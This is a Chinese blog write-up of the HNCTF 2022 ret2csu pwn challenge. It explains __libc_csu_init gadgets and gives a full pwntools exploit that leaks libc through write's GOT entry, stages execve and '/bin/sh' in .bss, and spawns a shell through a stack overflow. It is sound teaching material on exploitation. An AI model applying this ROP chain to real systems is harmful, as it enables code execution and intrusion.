Featured image of post Nssctf Pwn [HNCTF 2022 WEEK2]ret2csu Wp

Nssctf Pwn [HNCTF 2022 WEEK2]ret2csu Wp

字数: 1998

ret2csu 入门题,使我疯狂好几天。

题面

hint:试试用_libc_csu_init函数里的gadget来控制寄存器和程序执行流

压缩包内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ unzip -l ret2csu.zip
Archive:  ret2csu.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
  2216304  2022-09-30 01:19   ret2csu/libc.so.6
    16896  2022-09-29 23:18   ret2csu/ret2csu
      284  2022-09-29 15:45   ret2csu/ret2csu.c
        0  2022-10-03 22:01   ret2csu/
---------                     -------
  2233484                     4 files

提供了 libc.so.6 ,不错。

ret2csu

在动态链接的 64 位 Linux 二进制文件中,存在 __libc_csu_init 用于对 libc 进行初始化操作。
该函数有两个片段:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
part1: 
.text:00000000004012A6                 add     rsp, 8
.text:00000000004012AA                 pop     rbx
.text:00000000004012AB                 pop     rbp
.text:00000000004012AC                 pop     r12
.text:00000000004012AE                 pop     r13
.text:00000000004012B0                 pop     r14
.text:00000000004012B2                 pop     r15
.text:00000000004012B4                 retn

part2: 
.text:0000000000401290                 mov     rdx, r14
.text:0000000000401293                 mov     rsi, r13
.text:0000000000401296                 mov     edi, r12d
.text:0000000000401299                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]

不同二进制文件略有差别,但基本上就是寄存器的位置不太一样。
对于当前的 __libc_csu_init 片段,我们可以调用 [r15+rbx*8] 内的地址函数。
因为 64 位使用寄存器传参,对应如下:

作用 寄存器
第一个参数 rdi
第二个参数 rsi
第三个参数 rdx

而恰好,第二部分有 mov rdi, r12d 可以借由 r12 对 rdi 的低 4 字节进行赋值。而 r12 又存在于第一块区域内可以由 pop 弹入。
同理,rsi, rdx 都可从 part1 从栈上获得,然后借由 part2 输入到对应寄存器。
因为最后,调用是 [r15+rbx*8] 所以一定要让 rbx 置 0 才能获得正确的地址。
我们把上面的片段合并起来是这样的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
.text:0000000000401290 loc_401290:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290                 mov     rdx, r14
.text:0000000000401293                 mov     rsi, r13
.text:0000000000401296                 mov     edi, r12d
.text:0000000000401299                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D                 add     rbx, 1
.text:00000000004012A1                 cmp     rbp, rbx
.text:00000000004012A4                 jnz     short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6:                             ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6                 add     rsp, 8
.text:00000000004012AA                 pop     rbx
.text:00000000004012AB                 pop     rbp
.text:00000000004012AC                 pop     r12
.text:00000000004012AE                 pop     r13
.text:00000000004012B0                 pop     r14
.text:00000000004012B2                 pop     r15
.text:00000000004012B4                 retn

在这里有一次 cmp rbp, rbx,为了跳出 loc_401290 这段,需要将 rbp 和 rbx 变成一样的。而前面有 add rbx, 1 所以需要将 rbp 设置为 1 才能达到目的。

而且,因为 part2 运行完还会接着运行 Part1。下面有很多出栈操作,还需要在栈上填充 (6 * 8 + 8) 字节,然后再后面放上 ret 的地址,离开 __libc_csu_init,继续操作。
综上,可以总结为这样的利用函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
def csu_gadget(part1, part2, ret, jmp2, arg1=0x0, arg2=0x0, arg3=0x0):
    payload = p64(part1)
    payload += p64(0x0)
    payload += p64(0x1)
    payload += p64(arg1)
    payload += p64(arg2)
    payload += p64(arg3)
    payload += p64(jmp2)
    payload += p64(part2)
    payload += cyclic(0x38)
    payload += p64(ret)
    return payload

分析

这道题用来作为 ret2csu 的例题。
主要是 gadget 不够用于运行 execve。

需要用到 __libc_csu_init 来获得大量 gadget 运行程序。


首先 checksec 查看保护:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ pwn checksec ./ret2csu
[*] '/data/project/ctf-repo/pwn/nssctf/HNCTF_2022_WEEK2-ret2csu/ret2csu'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

还行。

ida 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
int __fastcall main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  setbuf(_bss_start, 0);
  write(1, "Start Your Exploit!\n", 0x14u);
  vuln();
  return 0;
}

ssize_t vuln()
{
  _BYTE buf[256]; // [rsp+0h] [rbp-100h] BYREF

  write(1, "Input:\n", 7u);
  read(0, buf, 0x200u);
  return write(1, "Ok.\n", 4u);
}

关键在 vuln 函数。
可以写入 0x200 数据,远大于栈大小。可以栈溢出。

利用

此题明确要 ret2csu。首先 ida 找到 __libc_csu_init,确定寄存器顺序。
确定 part1 从 0x4012aa 开始,跳过 add rsp, 8,而 part2 从 0x401290 开始。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
.text:0000000000401290 loc_401290:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290                 mov     rdx, r14
.text:0000000000401293                 mov     rsi, r13
.text:0000000000401296                 mov     edi, r12d
.text:0000000000401299                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D                 add     rbx, 1
.text:00000000004012A1                 cmp     rbp, rbx
.text:00000000004012A4                 jnz     short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6:                             ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6                 add     rsp, 8
.text:00000000004012AA                 pop     rbx
.text:00000000004012AB                 pop     rbp
.text:00000000004012AC                 pop     r12
.text:00000000004012AE                 pop     r13
.text:00000000004012B0                 pop     r14
.text:00000000004012B2                 pop     r15
.text:00000000004012B4                 retn

首先需要拿到 libc 基址。可以通过 write 把 write.got 写到 stdout 上得到 write 地址,通过给的 libc 拿到基址。
这一步就要用到 ret2csu 了。
我们在之前就已经封装为一个函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
def csu_gadget(part1, part2, ret, jmp2, arg1=0x0, arg2=0x0, arg3=0x0):
    payload = p64(part1)
    payload += p64(0x0)
    payload += p64(0x1)
    payload += p64(arg1)
    payload += p64(arg2)
    payload += p64(arg3)
    payload += p64(jmp2)
    payload += p64(part2)
    payload += cyclic(0x38)
    payload += p64(ret)
    return payload

首先 write 拿到基址,并得到相关函数在 libc 的地址:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
csu_part1 = 0x4012AA
csu_part2 = 0x401290
main_addr = 0x4011E1
bss_base = 0x404080
write_got = elf.got["write"]
read_got = elf.got["read"]


payload = b"a" * (0x100 + 0x8) + csu_gadget(
    csu_part1, csu_part2, main_addr, write_got, 1, write_got, 8
)
io.send(payload)
io.recvuntil(b"Ok.\n")
write_addr = u64(io.recv(8))
print("write address = ", hex(write_addr))
base_libc = write_addr - libc.sym["write"]
print("base libc address = ", hex(base_libc))
execve_addr = base_libc + libc.sym["execve"]
print("execve address = ", hex(execve_addr))

但是注意到那边的函数调用是:

1
call   QWORD PTR [r15+rbx*8]

使用 [] 取地址对应的内存单元中的值。所以不能直接写地址,而是要再另找一个地方写地址与需要的字符串。然后取该地方的地址,间接跳转。

用 pwndbg 的 vmmap 找到可读写的内存段:

看来 0x404000 之后是个不错的地方。
因为没有 PIE, 用 IDA 发现这块原来是 .bss。前面有些数据就不给动了。取 0x404100 作为我们写入的地方。
可以用 read 从标准输入写入到该地址:

1
read(0, bss_base, 16)  

需要写入 execve 的地址和/bin/sh\x00
前面 8 字节用于放 execve 地址,后面偏移量为 8 的地方放 /bin/sh。
因为 execve 在 got 表没有被调用,所以需要额外从 libc 获得,前面的 write 和 read 都是在程序加载过程被调用过的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
bss_base = 0x404100

payload = b"a" * (0x100 + 0x8) + csu_gadget(
    csu_part1, csu_part2, main_addr, read_got, 0, bss_base, 16
)

io.recvuntil(b"Input:")

io.send(payload)
io.send(p64(execve_addr) + b"/bin/sh\x00")

这样就写入到 bss 段了。

接下来就是调用 execve:

1
2
3
4
5
payload = b"a" * (0x100 + 0x8) + csu_gadget(
    csu_part1, csu_part2, main_addr, bss_base, bss_base + 8, 0, 0
)
io.recvuntil(b"Input:")
io.send(payload)

三次使用 csu,一步步走到执行 execve,中间理解还是蛮艰难的。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

context.log_level = "debug"
io = process("./ret2csu")
elf = ELF("./ret2csu")
libc = ELF("./libc.so.6")


def csu_gadget(part1, part2, ret, jmp2, arg1=0x0, arg2=0x0, arg3=0x0):
    payload = p64(part1)
    payload += p64(0x0)
    payload += p64(0x1)
    payload += p64(arg1)
    payload += p64(arg2)
    payload += p64(arg3)
    payload += p64(jmp2)
    payload += p64(part2)
    payload += cyclic(0x38)
    payload += p64(ret)
    return payload


csu_part1 = 0x4012AA
csu_part2 = 0x401290
main_addr = 0x4011E1
bss_base = 0x404100
write_got = elf.got["write"]
read_got = elf.got["read"]


payload = b"a" * (0x100 + 0x8) + csu_gadget(
    csu_part1, csu_part2, main_addr, write_got, 1, write_got, 8
)
io.send(payload)
io.recvuntil(b"Ok.\n")
write_addr = u64(io.recv(8))
print("write address = ", hex(write_addr))
base_libc = write_addr - libc.sym["write"]
print("base libc address = ", hex(base_libc))
execve_addr = base_libc + libc.sym["execve"]
print("execve address = ", hex(execve_addr))

payload = b"a" * (0x100 + 0x8) + csu_gadget(
    csu_part1, csu_part2, main_addr, read_got, 0, bss_base, 16
)

io.recvuntil(b"Input:")

io.send(payload)
io.send(p64(execve_addr) + b"/bin/sh\x00")

payload = b"a" * (0x100 + 0x8) + csu_gadget(
    csu_part1, csu_part2, main_addr, bss_base, bss_base + 8, 0, 0
)
io.recvuntil(b"Input:")
io.send(payload)
io.interactive()

参考资料

  1. CTF 竞赛权威指南 Pwn 篇
  2. 知乎 x86_64 函数调用约定